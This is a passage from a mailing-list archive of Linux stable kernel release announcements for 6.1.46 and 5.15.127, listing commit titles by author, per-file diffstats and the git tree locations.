Peter Ujfalusi (1):
tpm: tpm_tis: Fix UPX-i11 DMI_MATCH condition
Petr Tesarik (1):
wifi: brcm80211: handle params_v1 allocation failure
Pin-yen Lin (1):
drm/bridge: it6505: Check power state with it6505->powered in IRQ handler
Ping-Ke Shih (1):
wifi: rtw89: fix 8852AE disconnection caused by RX full flags
Piotr Gardocki (1):
iavf: fix potential races for FDIR filters
Prashanth K (1):
usb: common: usb-conn-gpio: Prevent bailing out if initial role is none
Qi Zheng (1):
binder: fix memory leak in binder_init()
Qu Wenruo (2):
btrfs: exit gracefully if reloc roots don't match
btrfs: reject invalid reloc tree root keys with stack dump
RD Babiera (1):
usb: typec: altmodes/displayport: Signal hpd when configuring pin assignment
Raghavendra Rao Ananta (1):
KVM: arm64: Fix hardware enable/disable flows for pKVM
Ricky WU (1):
misc: rtsx: judge ASPM Mode to set PETXCFG Reg
Ryusuke Konishi (1):
nilfs2: fix use-after-free of nilfs_root in dirtying inodes via iput
Selvin Xavier (1):
RDMA/bnxt_re: Properly order ib_device_unalloc() to avoid UAF
SeongJae Park (1):
mm/damon/core: initialize damo_filter->list from damos_new_filter()
Sergei Antonov (1):
mmc: moxart: read scr register without changing byte order
Shay Drory (1):
net/mlx5: LAG, Check correct bucket when modifying LAG
Simon Trimmer (1):
ACPI: scan: Create platform device for CS35L56
Souradeep Chakrabarti (1):
net: mana: Fix MANA VF unload when hardware is unresponsive
Takashi Iwai (1):
tpm/tpm_tis: Disable interrupts for TUXEDO InfinityBook S 15/17 Gen7
Tao Ren (1):
hwmon: (pmbus/bel-pfe) Enable PMBUS_SKIP_STATUS_CHECK for pfe1100
Thomas Weißschuh (1):
cpufreq: amd-pstate: fix global sysfs attribute type
Tony Battersby (1):
scsi: core: Fix legacy /proc parsing buffer overflow
Torsten Duwe (2):
riscv/kexec: load initrd high in available memory
riscv/kexec: handle R_RISCV_CALL_PLT relocation type
Vadim Pasternak (4):
platform: mellanox: Change register offset addresses
platform: mellanox: mlx-platform: Fix signals polarity and latch mask
platform: mellanox: mlx-platform: Modify graceful shutdown callback and power down mask
platform: mellanox: Fix order in exit flow
Vladimir Oltean (3):
PCI: move OF status = "disabled" detection to dev->match_driver
net: dsa: ocelot: call dsa_tag_8021q_unregister() under rtnl_lock() on driver remove
net: enetc: reimplement RFS/RSS memory clearing as PCI quirk
William Breathitt Gray (1):
gpio: ws16c48: Fix off-by-one error in WS16C48 resource region extent
Xiang Yang (1):
mptcp: fix the incorrect judgment for msk->cb_flags
Xin Li (1):
x86/vdso: Choose the right GDT_ENTRY_CPUNODE for 32-bit getcpu() on 64-bit kernel
Xu Kuohai (3):
selftests/bpf: fix a CI failure caused by vsock sockmap test
bpf, sockmap: Fix map type error in sock_map_del_link
bpf, sockmap: Fix bug that strp_done cannot be called
Yevgeny Kliteynik (1):
net/mlx5: DR, Fix wrong allocation of modify hdr pattern
Yiyuan Guo (1):
iio: cros_ec: Fix the allocation size for cros_ec_command
Yonglong Liu (1):
net: hns3: fix deadlock issue when externel_lb and reset are executed together
Yoshihiro Shimoda (1):
scsi: ufs: renesas: Fix private allocation
Zhang Jianhua (1):
dmaengine: owl-dma: Modify mismatched function name
Zhu Wang (2):
scsi: snic: Fix possible memory leak if device_add() fails
scsi: core: Fix possible memory leak if device_add() fails
Ziyang Xuan (1):
bonding: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves
2 years, 4 months
- 1
- 1
Linux 6.1.46
by Greg Kroah-Hartman
I'm announcing the release of the 6.1.46 kernel.
All users of the 6.1 kernel series must upgrade.
The updated 6.1.y git tree can be found at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git linux-6.1.y
and can be browsed at the normal kernel.org git web browser:
https://git.kernel.org/?p=linux/kernel/git/stable/linux-stable.git;a=summary
thanks,
greg k-h
------------
Makefile | 2
arch/alpha/kernel/setup.c | 3
arch/loongarch/Kconfig | 1
arch/loongarch/kernel/setup.c | 6
arch/riscv/include/asm/mmio.h | 16
arch/riscv/kernel/elf_kexec.c | 3
arch/x86/boot/compressed/idt_64.c | 9
arch/x86/boot/compressed/sev.c | 37 +
arch/x86/entry/vdso/vma.c | 4
arch/x86/include/asm/processor.h | 2
arch/x86/kernel/cpu/amd.c | 1
arch/x86/kernel/vmlinux.lds.S | 12
arch/x86/kvm/svm/sev.c | 94 ++--
arch/x86/kvm/svm/svm.h | 26 +
arch/x86/kvm/x86.c | 2
drivers/acpi/scan.c | 1
drivers/android/binder.c | 1
drivers/android/binder_alloc.c | 6
drivers/android/binder_alloc.h | 1
drivers/char/tpm/tpm-chip.c | 83 ---
drivers/char/tpm/tpm_crb.c | 30 +
drivers/cpuidle/dt_idle_genpd.c | 24 +
drivers/cpuidle/dt_idle_genpd.h | 7
drivers/dma/mcf-edma.c | 13
drivers/dma/owl-dma.c | 2
drivers/dma/pl330.c | 18
drivers/gpio/gpio-sim.c | 1
drivers/gpio/gpio-ws16c48.c | 2
drivers/gpu/drm/amd/amdgpu/amdgpu.h | 5
drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 2
drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 26 +
drivers/gpu/drm/amd/amdgpu/amdgpu_drv.c | 11
drivers/gpu/drm/amd/display/amdgpu_dm/amdgpu_dm.c | 2
drivers/gpu/drm/amd/display/dc/core/dc.c | 74 ++-
drivers/gpu/drm/amd/display/dc/core/dc_link.c | 5
drivers/gpu/drm/amd/display/dc/core/dc_resource.c | 234 +++++++++-
drivers/gpu/drm/amd/display/dc/dc.h | 6
drivers/gpu/drm/amd/display/dc/dcn10/dcn10_hw_sequencer.c | 6
drivers/gpu/drm/amd/display/dc/dcn30/dcn30_dpp.c | 7
drivers/gpu/drm/amd/display/dc/dcn32/dcn32_optc.c | 8
drivers/gpu/drm/amd/display/dc/dcn32/dcn32_resource.c | 22
drivers/gpu/drm/amd/display/dc/dcn32/dcn32_resource.h | 3
drivers/gpu/drm/amd/display/dc/dcn321/dcn321_resource.c | 1
drivers/gpu/drm/amd/display/dc/inc/core_types.h | 1
drivers/gpu/drm/amd/display/dc/inc/hw/timing_generator.h | 1
drivers/gpu/drm/amd/include/kgd_pp_interface.h | 2
drivers/gpu/drm/amd/pm/inc/amdgpu_dpm.h | 2
drivers/gpu/drm/amd/pm/powerplay/amd_powerplay.c | 58 ++
drivers/gpu/drm/amd/pm/powerplay/hwmgr/hardwaremanager.c | 4
drivers/gpu/drm/amd/pm/powerplay/hwmgr/smu10_hwmgr.c | 16
drivers/gpu/drm/amd/pm/powerplay/hwmgr/smu7_hwmgr.c | 80 ++-
drivers/gpu/drm/amd/pm/powerplay/hwmgr/smu8_hwmgr.c | 16
drivers/gpu/drm/amd/pm/powerplay/hwmgr/smu_helper.c | 27 -
drivers/gpu/drm/amd/pm/powerplay/hwmgr/vega10_hwmgr.c | 41 +
drivers/gpu/drm/amd/pm/powerplay/hwmgr/vega12_hwmgr.c | 26 +
drivers/gpu/drm/amd/pm/powerplay/hwmgr/vega20_hwmgr.c | 24 -
drivers/gpu/drm/amd/pm/powerplay/inc/hwmgr.h | 4
drivers/gpu/drm/amd/pm/powerplay/inc/power_state.h | 1
drivers/gpu/drm/amd/pm/swsmu/amdgpu_smu.c | 42 +
drivers/gpu/drm/amd/pm/swsmu/inc/amdgpu_smu.h | 2
drivers/gpu/drm/amd/pm/swsmu/smu11/smu_v11_0.c | 9
drivers/gpu/drm/amd/pm/swsmu/smu13/smu_v13_0.c | 9
drivers/gpu/drm/drm_gem_shmem_helper.c | 6
drivers/gpu/drm/nouveau/nouveau_connector.c | 2
drivers/gpu/drm/nouveau/nvkm/engine/disp/dp.c | 48 ++
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgf100.h | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk104.c | 4
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110.c | 10
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110b.c | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk208.c | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgm107.c | 1
drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 17
drivers/hwmon/pmbus/bel-pfe.c | 16
drivers/iio/adc/ad7192.c | 16
drivers/iio/adc/ina2xx-adc.c | 9
drivers/iio/common/cros_ec_sensors/cros_ec_sensors_core.c | 2
drivers/iio/frequency/admv1013.c | 5
drivers/iio/industrialio-core.c | 5
drivers/infiniband/core/umem.c | 3
drivers/infiniband/hw/hfi1/chip.c | 1
drivers/interconnect/qcom/bcm-voter.c | 5
drivers/interconnect/qcom/icc-rpmh.h | 2
drivers/interconnect/qcom/sm8450.c | 9
drivers/isdn/mISDN/dsp.h | 2
drivers/isdn/mISDN/dsp_cmx.c | 2
drivers/isdn/mISDN/dsp_core.c | 2
drivers/misc/cardreader/rts5227.c | 2
drivers/misc/cardreader/rts5228.c | 18
drivers/misc/cardreader/rts5249.c | 3
drivers/misc/cardreader/rts5260.c | 18
drivers/misc/cardreader/rts5261.c | 18
drivers/misc/cardreader/rtsx_pcr.c | 5
drivers/mmc/host/moxart-mmc.c | 8
drivers/net/bonding/bond_main.c | 4
drivers/net/dsa/ocelot/felix.c | 2
drivers/net/ethernet/hisilicon/hns3/hns3_debugfs.c | 4
drivers/net/ethernet/hisilicon/hns3/hns3_enet.c | 14
drivers/net/ethernet/hisilicon/hns3/hns3pf/hclge_debugfs.c | 4
drivers/net/ethernet/hisilicon/hns3/hns3pf/hclge_main.c | 24 -
drivers/net/ethernet/ibm/ibmvnic.c | 112 ++++
drivers/net/ethernet/intel/iavf/iavf_ethtool.c | 5
drivers/net/ethernet/intel/iavf/iavf_fdir.c | 11
drivers/net/ethernet/marvell/prestera/prestera_router.c | 14
drivers/net/ethernet/mellanox/mlx5/core/lag/port_sel.c | 2
drivers/net/ethernet/mellanox/mlx5/core/lib/clock.c | 5
drivers/net/ethernet/mellanox/mlx5/core/main.c | 2
drivers/net/ethernet/mellanox/mlx5/core/sriov.c | 3
drivers/net/ethernet/microsoft/mana/mana_en.c | 37 +
drivers/net/macsec.c | 28 -
drivers/net/phy/at803x.c | 2
drivers/net/tun.c | 2
drivers/net/vxlan/vxlan_vnifilter.c | 11
drivers/net/wireguard/allowedips.c | 8
drivers/net/wireguard/selftest/allowedips.c | 16
drivers/net/wireless/realtek/rtw89/mac.c | 2
drivers/nvme/host/pci.c | 3
drivers/nvme/host/rdma.c | 3
drivers/nvme/host/tcp.c | 3
drivers/platform/x86/serial-multi-instantiate.c | 35 +
drivers/scsi/53c700.c | 2
drivers/scsi/fnic/fnic.h | 2
drivers/scsi/fnic/fnic_scsi.c | 6
drivers/scsi/qedf/qedf_main.c | 18
drivers/scsi/qedi/qedi_main.c | 18
drivers/scsi/raid_class.c | 1
drivers/scsi/scsi_proc.c | 30 -
drivers/scsi/snic/snic_disc.c | 1
drivers/scsi/storvsc_drv.c | 4
drivers/ufs/host/ufs-renesas.c | 2
drivers/usb/common/usb-conn-gpio.c | 6
drivers/usb/dwc3/gadget.c | 9
drivers/usb/gadget/udc/core.c | 9
drivers/usb/storage/alauda.c | 12
drivers/usb/typec/altmodes/displayport.c | 18
drivers/usb/typec/tcpm/tcpm.c | 7
fs/btrfs/block-group.c | 17
fs/btrfs/block-group.h | 2
fs/btrfs/disk-io.c | 3
fs/btrfs/extent-tree.c | 5
fs/btrfs/extent_io.c | 7
fs/btrfs/inode.c | 10
fs/btrfs/relocation.c | 45 +
fs/btrfs/tree-checker.c | 14
fs/nilfs2/inode.c | 8
fs/nilfs2/segment.c | 2
fs/nilfs2/the_nilfs.h | 2
fs/smb/server/smb2misc.c | 10
fs/smb/server/smb2pdu.c | 9
include/linux/cpu.h | 2
include/linux/skmsg.h | 1
include/linux/tpm.h | 1
include/net/cfg80211.h | 3
include/net/netfilter/nf_tables.h | 31 +
include/trace/events/tcp.h | 5
io_uring/openclose.c | 6
net/core/filter.c | 6
net/core/skmsg.c | 10
net/core/sock_map.c | 10
net/dccp/output.c | 2
net/dccp/proto.c | 10
net/ipv4/ip_tunnel_core.c | 2
net/ipv4/nexthop.c | 28 -
net/ipv6/ndisc.c | 3
net/mptcp/protocol.c | 4
net/mptcp/protocol.h | 1
net/mptcp/subflow.c | 58 +-
net/netfilter/nf_tables_api.c | 163 ++++--
net/netfilter/nft_flow_offload.c | 6
net/netfilter/nft_immediate.c | 8
net/netfilter/nft_objref.c | 8
net/packet/af_packet.c | 16
net/sched/sch_netem.c | 59 +-
net/smc/af_smc.c | 73 ++-
net/tls/tls_device.c | 64 +-
net/wireless/nl80211.c | 5
net/xdp/xsk.c | 1
scripts/gcc-plugins/gcc-common.h | 4
tools/testing/radix-tree/regression1.c | 2
tools/testing/selftests/net/fib_nexthops.sh | 10
tools/testing/selftests/net/forwarding/ethtool.sh | 2
tools/testing/selftests/net/forwarding/ethtool_extended_state.sh | 2
tools/testing/selftests/net/forwarding/hw_stats_l3_gre.sh | 2
tools/testing/selftests/net/forwarding/ip6_forward_instats_vrf.sh | 2
tools/testing/selftests/net/forwarding/lib.sh | 17
tools/testing/selftests/net/forwarding/settings | 1
tools/testing/selftests/net/forwarding/tc_flower.sh | 8
tools/testing/selftests/net/mptcp/mptcp_join.sh | 6
tools/testing/selftests/rseq/Makefile | 4
tools/testing/selftests/rseq/rseq.c | 2
189 files changed, 1975 insertions(+), 734 deletions(-)
Alan Stern (2):
usb-storage: alauda: Fix uninit-value in alauda_check_media()
USB: Gadget: core: Help prevent panic during UVC unconfigure
Aleksa Sarai (1):
io_uring: correct check for O_TMPFILE
Alex Deucher (4):
drm/amdgpu: fix possible UAF in amdgpu_cs_pass1()
drm/amdgpu: add S/G display parameter
drm/amd/display: fix the build when DRM_AMD_DC_DCN is not set
drm/amd/pm/smu7: move variables to where they are used
Alexandra Diupina (1):
scsi: 53c700: Check that command slot is not NULL
Alisa Roman (1):
iio: adc: ad7192: Fix ac excitation feature
Alvin Lee (2):
drm/amd/display: Disable phantom OTG after enable for plane disable
drm/amd/display: Retain phantom plane/stream if validation fails
Alvin Šipraga (1):
iio: adc: ina2xx: avoid NULL pointer dereference on OF device match
Andrea Claudi (2):
selftests: mptcp: join: fix 'delete and re-add' test
selftests: mptcp: join: fix 'implicit EP' test
Andrea Parri (1):
riscv,mmio: Fix readX()-to-delay() ordering
Andrew Kanner (2):
net: core: remove unnecessary frame_sz check in bpf_xdp_adjust_tail()
drivers: net: prevent tun_build_skb() to exceed the packet size limit
Arnd Bergmann (2):
x86/speculation: Add cpu_show_gds() prototype
x86: Move gds_ucode_mitigated() declaration to header
August Wikerfors (1):
nvme-pci: add NVME_QUIRK_BOGUS_NID for Samsung PM9B1 256G and 512G
Aurabindo Pillai (1):
drm/amd/display: trigger timing sync only if TG is running
Badhri Jagan Sridharan (1):
usb: typec: tcpm: Fix response to vsafe0V event
Bartosz Golaszewski (1):
gpio: sim: mark the GPIO chip as a one that can sleep
Boris Brezillon (1):
drm/shmem-helper: Reset vma->vm_ops before calling dma_buf_mmap()
Borislav Petkov (AMD) (1):
x86/sev: Do not try to parse for the CC blob on non-AMD hardware
Christoph Hellwig (2):
btrfs: don't stop integrity writeback too early
btrfs: properly clear end of the unreserved range in cow_file_range
Christophe JAILLET (1):
dmaengine: mcf-edma: Fix a potential un-allocated memory access
Colin Ian King (1):
radix tree test suite: fix incorrect allocation size for pthreads
Cristian Ciocaltea (1):
x86/cpu/amd: Enable Zenbleed fix for AMD Custom APU 0405
Dan Carpenter (1):
iio: frequency: admv1013: propagate errors from regulator_get_voltage()
Daniel Jurgens (1):
net/mlx5: Allow 0 for total host VFs
Daniel Stone (1):
drm/rockchip: Don't spam logs in atomic check
David Xu (1):
platform/x86: serial-multi-instantiate: Auto detect IRQ resource for CSC3551
Douglas Miller (1):
IB/hfi1: Fix possible panic during hotplug remove
Elson Roy Serrao (1):
usb: dwc3: Properly handle processing of pending events
Eric Dumazet (5):
macsec: use DEV_STATS_INC()
net/packet: annotate data-races around tp->status
tcp: add missing family to tcp_set_ca_state() tracepoint
dccp: fix data-race around dp->dccps_mss_cache
sch_netem: fix issues in netem_change() vs get_dist_table()
Evan Quan (4):
drm/amd/pm: fulfill swsmu peak profiling mode shader/memory clock settings
drm/amd/pm: expose swctf threshold setting for legacy powerplay
drm/amd/pm: fulfill powerplay peak profiling mode shader/memory clock settings
drm/amd/pm: avoid unintentional shutdown due to temperature momentary fluctuation
Fedor Pchelkin (1):
drivers: vxlan: vnifilter: free percpu vni stats on error path
Felix Fietkau (1):
wifi: cfg80211: fix sband iftype data lookup for AP_VLAN
Florian Westphal (1):
tunnels: fix kasan splat when generating ipv4 pmtu error
Gerd Bayer (1):
net/smc: Use correct buffer sizes when switching between TCP and SMC
Greg Kroah-Hartman (2):
Revert "loongarch/cpu: Switch to arch_cpu_finalize_init()"
Linux 6.1.46
Hao Chen (1):
net: hns3: fix strscpy causing content truncation issue
Ido Schimmel (11):
selftests: forwarding: Set default IPv6 traceroute utility
selftests: forwarding: Add a helper to skip test when using veth pairs
selftests: forwarding: ethtool: Skip when using veth pairs
selftests: forwarding: ethtool_extended_state: Skip when using veth pairs
selftests: forwarding: hw_stats_l3_gre: Skip when using veth pairs
selftests: forwarding: Skip test when no interfaces are specified
selftests: forwarding: Switch off timeout
selftests: forwarding: tc_flower: Relax success criterion
nexthop: Fix infinite nexthop dump when using maximum nexthop ID
nexthop: Make nexthop bucket dump more efficient
nexthop: Fix infinite nexthop bucket dump when using maximum nexthop ID
Ilpo Järvinen (1):
dmaengine: pl330: Return DMA_PAUSED when transaction is paused
Jakub Kicinski (1):
net: tls: avoid discarding data on record close
Jason A. Donenfeld (1):
wireguard: allowedips: expand maximum node depth
Jie Wang (2):
net: hns3: refactor hclge_mac_link_status_wait for interface reuse
net: hns3: add wait until mac link down
Jonas Gorski (1):
net: marvell: prestera: fix handling IPv4 routes with nhid
Josef Bacik (2):
btrfs: wait for actual caching progress during allocation
btrfs: set cache_block_group_error if we find an error
Karan Tilak Kumar (1):
scsi: fnic: Replace return codes in fnic_clean_pending_aborts()
Karol Herbst (2):
drm/nouveau/gr: enable memory loads on helper invocation on all channels
drm/nouveau/disp: Revert a NULL check inside nouveau_connector_get_modes
Kees Cook (1):
gcc-plugins: Reorganize gimple includes for GCC 13
Keith Yeo (1):
wifi: nl80211: fix integer overflow in nl80211_parse_mbssid_elems()
Kirill A. Shutemov (1):
x86/mm: Fix VDSO and VVAR placement on 5-level paging machines
Li Yang (1):
net: phy: at803x: remove set/get wol callbacks for AR8032
Long Li (1):
ksmbd: validate command request size
Lyude Paul (1):
drm/nouveau/nvkm/dp: Add workaround to fix DP 1.3+ DPCD issues
Maciej Żenczykowski (1):
ipv6: adjust ndisc_is_useropt() to also return true for PIO
Magnus Karlsson (1):
xsk: fix refcount underflow in error path
Mario Limonciello (3):
tpm: Disable RNG for all AMD fTPMs
tpm: Add a helper for checking hwrng enabled
drm/amd: Disable S/G for APUs when 64GB or more host memory
Mark Brown (1):
selftests/rseq: Fix build with undefined __weak
Masahiro Yamada (1):
alpha: remove __init annotation from exported page_is_ram()
Maulik Shah (1):
cpuidle: dt_idle_genpd: Add helper function to remove genpd topology
Melissa Wen (1):
drm/amd/display: check attr flag before set cursor degamma on DCN3+
Michael Guralnik (1):
RDMA/umem: Set iova in ODP flow
Michael Kelley (1):
scsi: storvsc: Fix handling of virtual Fibre Channel timeouts
Mike Tipton (1):
interconnect: qcom: Add support for mask-based BCMs
Milan Zamazal (1):
iio: core: Prevent invalid memory access when there is no parent
Ming Lei (2):
nvme-tcp: fix potential unbalanced freeze & unfreeze
nvme-rdma: fix potential unbalanced freeze & unfreeze
Moshe Shemesh (2):
net/mlx5: Skip clock update work when device is in error state
net/mlx5: Reload auxiliary devices in pci error handlers
Namjae Jeon (1):
ksmbd: fix wrong next length validation of ea buffer in smb2_set_ea()
Nathan Chancellor (1):
mISDN: Update parameter type of dsp_cmx_send()
Neil Armstrong (1):
interconnect: qcom: sm8450: add enable_mask for bcm nodes
Nick Child (5):
ibmvnic: Enforce stronger sanity checks on login response
ibmvnic: Unmap DMA login rsp buffer on send login fail
ibmvnic: Handle DMA unmapping of login buffs in release functions
ibmvnic: Do partial reset on login failure
ibmvnic: Ensure login failure recovery is safe from other resets
Nick Desaulniers (1):
x86/srso: Fix build breakage with the LLVM linker
Nilesh Javali (2):
scsi: qedi: Fix firmware halt over suspend and resume
scsi: qedf: Fix firmware halt over suspend and resume
Pablo Neira Ayuso (1):
netfilter: nf_tables: report use refcount overflow
Paolo Abeni (2):
mptcp: avoid bogus reset on fallback close
mptcp: fix disconnect vs accept race
Paolo Bonzini (2):
KVM: SEV: snapshot the GHCB before accessing it
KVM: SEV: only access GHCB fields once
Peichen Huang (1):
drm/amd/display: limit DPIA link rate to HBR3
Ping-Ke Shih (1):
wifi: rtw89: fix 8852AE disconnection caused by RX full flags
Piotr Gardocki (1):
iavf: fix potential races for FDIR filters
Prashanth K (1):
usb: common: usb-conn-gpio: Prevent bailing out if initial role is none
Qi Zheng (1):
binder: fix memory leak in binder_init()
Qu Wenruo (2):
btrfs: exit gracefully if reloc roots don't match
btrfs: reject invalid reloc tree root keys with stack dump
RD Babiera (1):
usb: typec: altmodes/displayport: Signal hpd when configuring pin assignment
Ricky WU (1):
misc: rtsx: judge ASPM Mode to set PETXCFG Reg
Rodrigo Siqueira (6):
drm/amd/display: Handle virtual hardware detect
drm/amd/display: Add function for validate and update new stream
drm/amd/display: Handle seamless boot stream
drm/amd/display: Update OTG instance in the commit stream
drm/amd/display: Avoid ABM when ODM combine is enabled for eDP
drm/amd/display: Use update plane and stream routine for DCN32x
Ryusuke Konishi (1):
nilfs2: fix use-after-free of nilfs_root in dirtying inodes via iput
Sergei Antonov (1):
mmc: moxart: read scr register without changing byte order
Shay Drory (1):
net/mlx5: LAG, Check correct bucket when modifying LAG
Simon Trimmer (1):
ACPI: scan: Create platform device for CS35L56
Souradeep Chakrabarti (1):
net: mana: Fix MANA VF unload when hardware is unresponsive
Tao Ren (1):
hwmon: (pmbus/bel-pfe) Enable PMBUS_SKIP_STATUS_CHECK for pfe1100
Tony Battersby (1):
scsi: core: Fix legacy /proc parsing buffer overflow
Torsten Duwe (2):
riscv/kexec: load initrd high in available memory
riscv/kexec: handle R_RISCV_CALL_PLT relocation type
Vladimir Oltean (1):
net: dsa: ocelot: call dsa_tag_8021q_unregister() under rtnl_lock() on driver remove
William Breathitt Gray (1):
gpio: ws16c48: Fix off-by-one error in WS16C48 resource region extent
Xiang Yang (1):
mptcp: fix the incorrect judgment for msk->cb_flags
Xu Kuohai (2):
bpf, sockmap: Fix map type error in sock_map_del_link
bpf, sockmap: Fix bug that strp_done cannot be called
Yiyuan Guo (1):
iio: cros_ec: Fix the allocation size for cros_ec_command
Yonglong Liu (1):
net: hns3: fix deadlock issue when externel_lb and reset are executed together
Yoshihiro Shimoda (1):
scsi: ufs: renesas: Fix private allocation
Zhang Jianhua (1):
dmaengine: owl-dma: Modify mismatched function name
Zhu Wang (2):
scsi: snic: Fix possible memory leak if device_add() fails
scsi: core: Fix possible memory leak if device_add() fails
Ziyang Xuan (1):
bonding: Fix incorrect deletion of ETH_P_8021AD protocol vid from slaves
2 years, 4 months
- 1
- 1
Linux 5.15.127
by Greg Kroah-Hartman
I'm announcing the release of the 5.15.127 kernel.
All users of the 5.15 kernel series must upgrade.
The updated 5.15.y git tree can be found at:
git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git linux-5.15.y
and can be browsed at the normal kernel.org git web browser:
https://git.kernel.org/?p=linux/kernel/git/stable/linux-stable.git;a=summary
thanks,
greg k-h
------------
Makefile | 2
arch/alpha/kernel/setup.c | 3
arch/riscv/include/asm/mmio.h | 16
arch/x86/entry/vdso/vma.c | 4
arch/x86/include/asm/processor.h | 2
arch/x86/kernel/cpu/amd.c | 1
arch/x86/kernel/vmlinux.lds.S | 12
arch/x86/kvm/x86.c | 2
drivers/android/binder.c | 1
drivers/android/binder_alloc.c | 6
drivers/android/binder_alloc.h | 1
drivers/dma/mcf-edma.c | 13
drivers/dma/pl330.c | 18
drivers/gpu/drm/amd/display/dc/dcn30/dcn30_dpp.c | 7
drivers/gpu/drm/drm_gem_shmem_helper.c | 6
drivers/gpu/drm/nouveau/nouveau_connector.c | 2
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgf100.h | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk104.c | 4
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110.c | 10
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk110b.c | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgk208.c | 1
drivers/gpu/drm/nouveau/nvkm/engine/gr/ctxgm107.c | 1
drivers/gpu/drm/rockchip/rockchip_drm_vop.c | 17
drivers/hwmon/pmbus/bel-pfe.c | 16
drivers/iio/adc/ina2xx-adc.c | 9
drivers/iio/common/cros_ec_sensors/cros_ec_sensors_core.c | 2
drivers/infiniband/core/umem.c | 3
drivers/infiniband/hw/hfi1/chip.c | 1
drivers/isdn/mISDN/dsp.h | 2
drivers/isdn/mISDN/dsp_cmx.c | 2
drivers/isdn/mISDN/dsp_core.c | 2
drivers/misc/cardreader/rts5227.c | 2
drivers/misc/cardreader/rts5228.c | 18
drivers/misc/cardreader/rts5249.c | 3
drivers/misc/cardreader/rts5260.c | 18
drivers/misc/cardreader/rts5261.c | 18
drivers/misc/cardreader/rtsx_pcr.c | 5
drivers/mmc/host/moxart-mmc.c | 8
drivers/net/bonding/bond_main.c | 4
drivers/net/ethernet/hisilicon/hns3/hns3pf/hclge_main.c | 24 -
drivers/net/ethernet/ibm/ibmvnic.c | 38 +
drivers/net/ethernet/intel/iavf/iavf_ethtool.c | 5
drivers/net/ethernet/intel/iavf/iavf_fdir.c | 11
drivers/net/ethernet/mellanox/mlx5/core/lib/clock.c | 5
drivers/net/ethernet/mellanox/mlx5/core/sriov.c | 3
drivers/net/phy/at803x.c | 2
drivers/net/tun.c | 2
drivers/net/wireguard/allowedips.c | 8
drivers/net/wireguard/selftest/allowedips.c | 16
drivers/nvme/host/rdma.c | 3
drivers/nvme/host/tcp.c | 3
drivers/scsi/53c700.c | 2
drivers/scsi/fnic/fnic_scsi.c | 6
drivers/scsi/qedf/qedf_main.c | 18
drivers/scsi/qedi/qedi_main.c | 18
drivers/scsi/raid_class.c | 1
drivers/scsi/scsi_proc.c | 30 -
drivers/scsi/snic/snic_disc.c | 1
drivers/scsi/storvsc_drv.c | 4
drivers/usb/common/usb-conn-gpio.c | 6
drivers/usb/dwc3/gadget.c | 9
drivers/usb/storage/alauda.c | 12
drivers/usb/typec/tcpm/tcpm.c | 7
fs/btrfs/disk-io.c | 3
fs/btrfs/extent-tree.c | 5
fs/btrfs/extent_io.c | 7
fs/btrfs/relocation.c | 45 +-
fs/btrfs/tree-checker.c | 14
fs/ksmbd/smb2misc.c | 10
fs/ksmbd/smb2pdu.c | 9
fs/nilfs2/inode.c | 8
fs/nilfs2/segment.c | 2
fs/nilfs2/the_nilfs.h | 2
include/linux/cpu.h | 2
include/linux/skmsg.h | 1
include/net/cfg80211.h | 3
include/net/netfilter/nf_tables.h | 31 +
io_uring/io_uring.c | 6
kernel/bpf/verifier.c | 199 +++++++++-
kernel/softirq.c | 3
kernel/time/tick-sched.c | 36 +
kernel/time/tick-sched.h | 4
net/core/filter.c | 6
net/core/skmsg.c | 10
net/core/sock_map.c | 10
net/dccp/output.c | 2
net/dccp/proto.c | 10
net/ipv4/ip_tunnel_core.c | 2
net/ipv4/nexthop.c | 28 -
net/ipv6/ndisc.c | 3
net/netfilter/nf_tables_api.c | 164 +++++---
net/netfilter/nft_flow_offload.c | 6
net/netfilter/nft_immediate.c | 8
net/netfilter/nft_objref.c | 8
net/packet/af_packet.c | 16
net/sched/sch_netem.c | 59 +-
net/xdp/xsk.c | 1
tools/testing/radix-tree/regression1.c | 2
tools/testing/selftests/bpf/prog_tests/align.c | 36 +
tools/testing/selftests/bpf/prog_tests/sk_assign.c | 25 -
tools/testing/selftests/bpf/progs/connect4_prog.c | 2
tools/testing/selftests/bpf/progs/test_sk_assign.c | 11
tools/testing/selftests/bpf/progs/test_sk_assign_libbpf.c | 3
tools/testing/selftests/net/fib_nexthops.sh | 10
tools/testing/selftests/net/forwarding/ethtool.sh | 2
tools/testing/selftests/net/forwarding/ethtool_extended_state.sh | 2
tools/testing/selftests/net/forwarding/lib.sh | 16
tools/testing/selftests/net/forwarding/settings | 1
tools/testing/selftests/net/forwarding/tc_flower.sh | 8
tools/testing/selftests/rseq/Makefile | 4
tools/testing/selftests/rseq/rseq.c | 2
111 files changed, 929 insertions(+), 396 deletions(-)
Alan Stern (1):
usb-storage: alauda: Fix uninit-value in alauda_check_media()
Aleksa Sarai (1):
io_uring: correct check for O_TMPFILE
Alexandra Diupina (1):
scsi: 53c700: Check that command slot is not NULL
Alvin Šipraga (1):
iio: adc: ina2xx: avoid NULL pointer dereference on OF device match
Andrea Parri (1):
riscv,mmio: Fix readX()-to-delay() ordering
Andrew Kanner (2):
net: core: remove unnecessary frame_sz check in bpf_xdp_adjust_tail()
drivers: net: prevent tun_build_skb() to exceed the packet size limit
Andrii Nakryiko (4):
bpf: allow precision tracking for programs with subprogs
bpf: stop setting precise in current state
bpf: aggressively forget precise markings during state checkpointing
selftests/bpf: make test_align selftest more robust
Arnd Bergmann (2):
x86/speculation: Add cpu_show_gds() prototype
x86: Move gds_ucode_mitigated() declaration to header
Badhri Jagan Sridharan (1):
usb: typec: tcpm: Fix response to vsafe0V event
Boris Brezillon (1):
